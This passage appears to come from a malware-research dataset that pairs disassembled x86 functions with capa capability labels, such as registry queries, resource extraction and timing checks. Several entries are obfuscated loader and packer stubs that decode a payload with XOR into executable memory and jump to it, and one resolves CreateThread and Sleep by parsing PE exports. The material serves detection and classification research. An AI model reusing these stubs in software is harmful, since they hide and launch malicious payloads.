joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401024
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
push edi
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
add ecx, esi
mov edx, dword [ecx + 0x20]
mov edi, dword [ecx + 0x24]
mov ebx, dword [ecx + 0x1c]
add edx, esi
add edi, esi
add ebx, esi
xor eax, eax
mov dword [ebp + 8], edx
mov edx, dword [ebp + 8]
mov edx, dword [edx]
add edx, esi
cmp dword [ebp + 0xc], 1
jne 0x4010a3
cmp byte [edx], 0x43
jne 0x4010c6
cmp byte [edx + 1], 0x72
jne 0x4010c6
cmp byte [edx + 2], 0x65
jne 0x4010c6
cmp byte [edx + 3], 0x61
jne 0x4010c6
cmp byte [edx + 4], 0x74
jne 0x4010c6
cmp byte [edx + 5], 0x65
jne 0x4010c6
cmp byte [edx + 6], 0x54
jne 0x4010c6
cmp byte [edx + 7], 0x68
jne 0x4010c6
cmp byte [edx + 8], 0x72
jne 0x4010c6
cmp byte [edx + 9], 0x65
jne 0x4010c6
cmp byte [edx + 0xa], 0x61
jne 0x4010c6
cmp byte [edx + 0xb], 0x64
jmp 0x4010c4
cmp dword [ebp + 0xc], 6
jne 0x4010c6
cmp byte [edx], 0x53
jne 0x4010c6
cmp byte [edx + 1], 0x6c
jne 0x4010c6
cmp byte [edx + 2], 0x65
jne 0x4010c6
cmp byte [edx + 3], 0x65
jne 0x4010c6
cmp byte [edx + 4], 0x70
je 0x4010d8
mov edx, dword [ecx + 0x18]
add dword [ebp + 8], 4
inc eax
dec edx
cmp eax, edx
ja 0x4010e3
jmp 0x40104f
movzx eax, word [edi + eax*2]
mov eax, dword [ebx + eax*4]
add eax, esi
jmp 0x4010e6
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b4fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x40b540
call fcn.0040e0f4
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x40b540
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x40b537
xor eax, eax
jmp 0x40b548
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0040b54e
pop edi
pop esi
pop ebx
ret 4

Function at 0x40e5e1
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40e60f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40e62d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040e547
jmp 0x40e62d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40e62d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0040e547
test edi, edi
mov eax, edi
jne 0x40e617
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401060
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x404b3f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
movsx eax, word [esp + 0x20]
push eax
lea ecx, [esp + 8]
push 0x408034
push ecx
push 8
push 1
push 3
push esi
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_COleDispatchDriver::InvokeHelper
mov esi, dword [esp + 0x38]
add esp, 0x1c
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.004045bc
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x4010f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x404b6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
movsx eax, word [esp + 0x20]
push eax
lea ecx, [esp + 8]
push 0x40803c
push ecx
push 8
push 1
push 3
push esi
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_COleDispatchDriver::InvokeHelper
mov esi, dword [esp + 0x38]
add esp, 0x1c
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.004045bc
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8
Function at 0x403b40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4053df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
movsx eax, word [esp + 0x20]
push eax
lea ecx, [esp + 8]
push 0x40821c
push ecx
push 8
push 1
push 3
push esi
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_COleDispatchDriver::InvokeHelper
mov esi, dword [esp + 0x38]
add esp, 0x1c
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.004045bc
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x404440
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40542f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
movsx eax, word [esp + 0x20]
push eax
lea ecx, [esp + 8]
push 0x4083b0
push ecx
push 8
push 1
push 5
push esi
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_COleDispatchDriver::InvokeHelper
mov esi, dword [esp + 0x38]
add esp, 0x1c
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.004045bc
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x404520
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40545f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
movsx eax, word [esp + 0x20]
push eax
lea ecx, [esp + 8]
push 0x4083bc
push ecx
push 8
push 1
push 3
push esi
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_COleDispatchDriver::InvokeHelper
mov esi, dword [esp + 0x38]
add esp, 0x1c
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.004045bc
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8
Function at 0x40368d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40369c
pop dword [ebp - 0x40]
mov eax, 0x672ab509
sub eax, 0x66ea7e6d
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x149c0df6
sub dword [ebp - 0x50], 0xc649c8ab
mov dword [ebp - 0x4c], 0xa55240df
add dword [ebp - 0x4c], 0x8ce10b66
mov dword [ebp - 0x48], 0x6ac0f78b
add dword [ebp - 0x48], 0xe18b4ca3
mov dword [ebp - 0x44], 0x1a4bcd3b
sub dword [ebp - 0x44], 0x1a4bcd3b
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x29005db5
sub dword [ebp - 0x50], 0xb48df45f
mov dword [ebp - 0x4c], 0x3b43e442
add dword [ebp - 0x4c], 0x6287d33
mov dword [ebp - 0x48], 0xde6b8c86
sub dword [ebp - 0x48], 0x7afc201a
mov dword [ebp - 0x44], 0xbba89555
sub dword [ebp - 0x44], 0xbba89555
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xad41d011
sub eax, 0xad015ff1
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x33051
push 0
call eax
mov ecx, 0xd19046db
sub ecx, 0xd19011a0
mov edi, eax
mov ebx, 0xad0dc562
sub ebx, 0xacccfd62
add ebx, dword [ebp - 0x40]
mov edx, 0xdcdfba6a
add edx, 0x6b9b216b
add dword [ebp - 0x30], esi
mov esi, dword [ebx]
sub dword [ebp - 0x1c], 0x19cd3402
sub esi, edx
xor dword [ebp - 8], 0xe6498b59
mov dword [edi], esi
sub dword [ebp - 0x3c], ecx
add edi, 0xa632d48d
sub edi, 0xa632d489
add ebx, 4
loop 0x4037b9
add eax, 0x13665bb5
sub eax, 0x136593f6
mov ebx, eax
add eax, 0xdfd79823
add eax, 0x202867e2
mov ecx, 0x704a5f70
sub ecx, 0x700a5f70
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x404635
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4069e0
call fcn.004054fb
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x404654
mov al, 1
jmp 0x40471d
test esi, esi
je 0x40471b
xor ebx, ebx
cmp word [esi], bx
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x40471b
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0040368d
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x40470f
lea eax, [ebp - 0x28]
push eax
call fcn.0040368d
pop ecx
test al, al
jne 0x40470f
cmp dword [ebp - 0x18], esi
jbe 0x40470f
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x40470f
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x40470f
push 0x407620
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401788
mov al, bl
jmp 0x40471d
xor al, al
call fcn.004054b6
ret
Function at 0x2e013ece
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e03021f
call fcn.2e00153c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014c10
test ax, ax
je 0x2e013f76
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e013f76
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f6d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e022fb4
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f60
push esi
mov ecx, edi
call fcn.2e010c49
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e022fb4
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e001586
ret

Function at 0x2e0149fe
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030292
call fcn.2e02e16c
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014b02
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e0148ed
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010b76
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014ac0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014ab7
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e022fb4
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014aa9
push esi
mov ecx, edi
call fcn.2e010c49
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e022fb4
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014b02
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014af9
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e022fb4
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e022fb4
pop ecx
pop ecx
mov al, bl
call fcn.2e02e14a
ret 8
Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e022fb4
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e022fb4
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8
Function at 0x2e01e341
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030586
call fcn.2e02e16c
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e45f
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e456
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e022fb4
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e449
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010c49
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e022fb4
test al, al
jne 0x2e01e3fc
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e022fb4
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e3ff
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e439
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e430
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e022fb4
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e022fb4
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e022fb4
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e14a
ret
Function at 0x2e022fb4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x2e022fc3
pop dword [ebp - 0x20]
mov eax, 0xcaf6e600
sub eax, 0x9cf4b63d
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xd1ad1257
sub dword [ebp - 0x30], 0x835acd0c
mov dword [ebp - 0x2c], 0x4a4e0edc
sub dword [ebp - 0x2c], 0x181ac297
mov dword [ebp - 0x28], 0x34b9f8e1
add dword [ebp - 0x28], 0x17924b4d
mov dword [ebp - 0x24], 0x5e2f4516
sub dword [ebp - 0x24], 0x5e2f4516
lea eax, [ebp - 0x30]
push eax
mov eax, 0x39ab1bc2
add eax, 0xf4580506
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x9f47f14a
add dword [ebp - 0x30], 0xd52a780c
mov dword [ebp - 0x2c], 0xfad0544b
sub dword [ebp - 0x2c], 0xb963f2d6
mov dword [ebp - 0x28], 0x4afbfe54
add dword [ebp - 0x28], 0x18736e18
mov dword [ebp - 0x24], 0xeae7ecdc
add dword [ebp - 0x24], 0x15181324
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xbbb09cbc
sub eax, 0x8dad7c00
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3ebcc
push 0
call eax
mov ecx, 0x3eca
mov edi, eax
mov esi, 0x80c231ff
sub esi, 0x52bcc3ff
add esi, dword [ebp - 0x20]
mov ebx, 0x6b774ee6
sub ebx, 0x15dc4048
sub dword [ebp - 0x14], 0xfb2e4e52
mov edx, dword [esi]
xor dword [ebp - 0x10], 0xacf35d20
xor edx, ebx
add dword [ebp - 0x14], edi
mov dword [edi], edx
mov dword [ebp - 0x1c], 0x4c08ed03
add edi, 0x98713dd0
add edi, 0x678ec234
add esi, 0x5a2101d1
add esi, 0xa5defe33
loop 0x2e0230df
add eax, 0xb31b9cc4
add eax, 0x4ce55137
mov ebx, eax
add eax, 0xaa42804a
sub eax, 0xaa428045
mov ecx, 0xaf6600a6
add ecx, 0x7e99ff5a
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7caf2238
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1e20ae4
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x4053ff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40540e
pop dword [ebp - 0x28]
mov eax, 0x23516a8d
sub eax, 0x2311167f
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3a84a
push 0
mov eax, 0x17ad686f
add eax, 0xe89378b1
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x4a4c
mov esi, eax
mov edi, 0x7f31ffd1
add edi, 0x810f782f
add edi, dword [ebp - 0x28]
mov ebx, 0xdad3dc6
sub ebx, 0x30154a20
xor dword [ebp - 0x1c], 0x6b268498
mov edx, dword [edi]
xor dword [ebp - 0x14], 0x1809c9ed
add edx, ebx
add dword [ebp - 0x10], 0x84057dd2
mov dword [esi], edx
sub dword [ebp - 4], ebx
add esi, 0x2154185
sub esi, 0x2154181
add edi, 4
loop 0x405467
add eax, 0xe81f8f3
add eax, 0xf17f2310
xor ebx, ebx
add ebx, eax
add eax, 0xbde80404
add eax, 0x4217fc01
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4076c8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040a274
test esi, esi
jne 0x4076fe
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040a40c
jmp 0x40771c
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004075a8
mov edi, eax
test esi, esi
je 0x40771c
cmp dword [ebx], 0
je 0x40771c
dec esi
jmp 0x407705
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x408ebc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.0040937c
mov byte [esp], al
cmp byte [esp], 0
jne 0x409045
test edi, edi
je 0x409045
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408f85
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408f60
cmp edi, 0xffffffff
je 0x408f21
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408f21
mov byte [esp], 0
jmp 0x409045
cmp dword [esi], 1
jg 0x408f60
cmp dword [esi], 0
jne 0x408f52
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408f52
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x409045
lea eax, [esp + 0xc]
call fcn.00408b70
dec ebp
test ebp, ebp
jg 0x408f06
cmp edi, 0xffffffff
je 0x408f85
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408f83
mov byte [esp], 0
jmp 0x409045
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408eca
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408f85
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.004090c0
mov edx, eax
mov ebx, dword [0x4dc8f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408fe9
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408fe7
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408fe9
xor edi, edi
cmp byte [esp], 0
je 0x40900f
mov ebx, dword [esi]
test bl, 1
jne 0x409025
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408fef
mov byte [esp + 1], 1
jmp 0x409025
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x40900f
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408f9c
cmp byte [esp], 0
je 0x409045
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret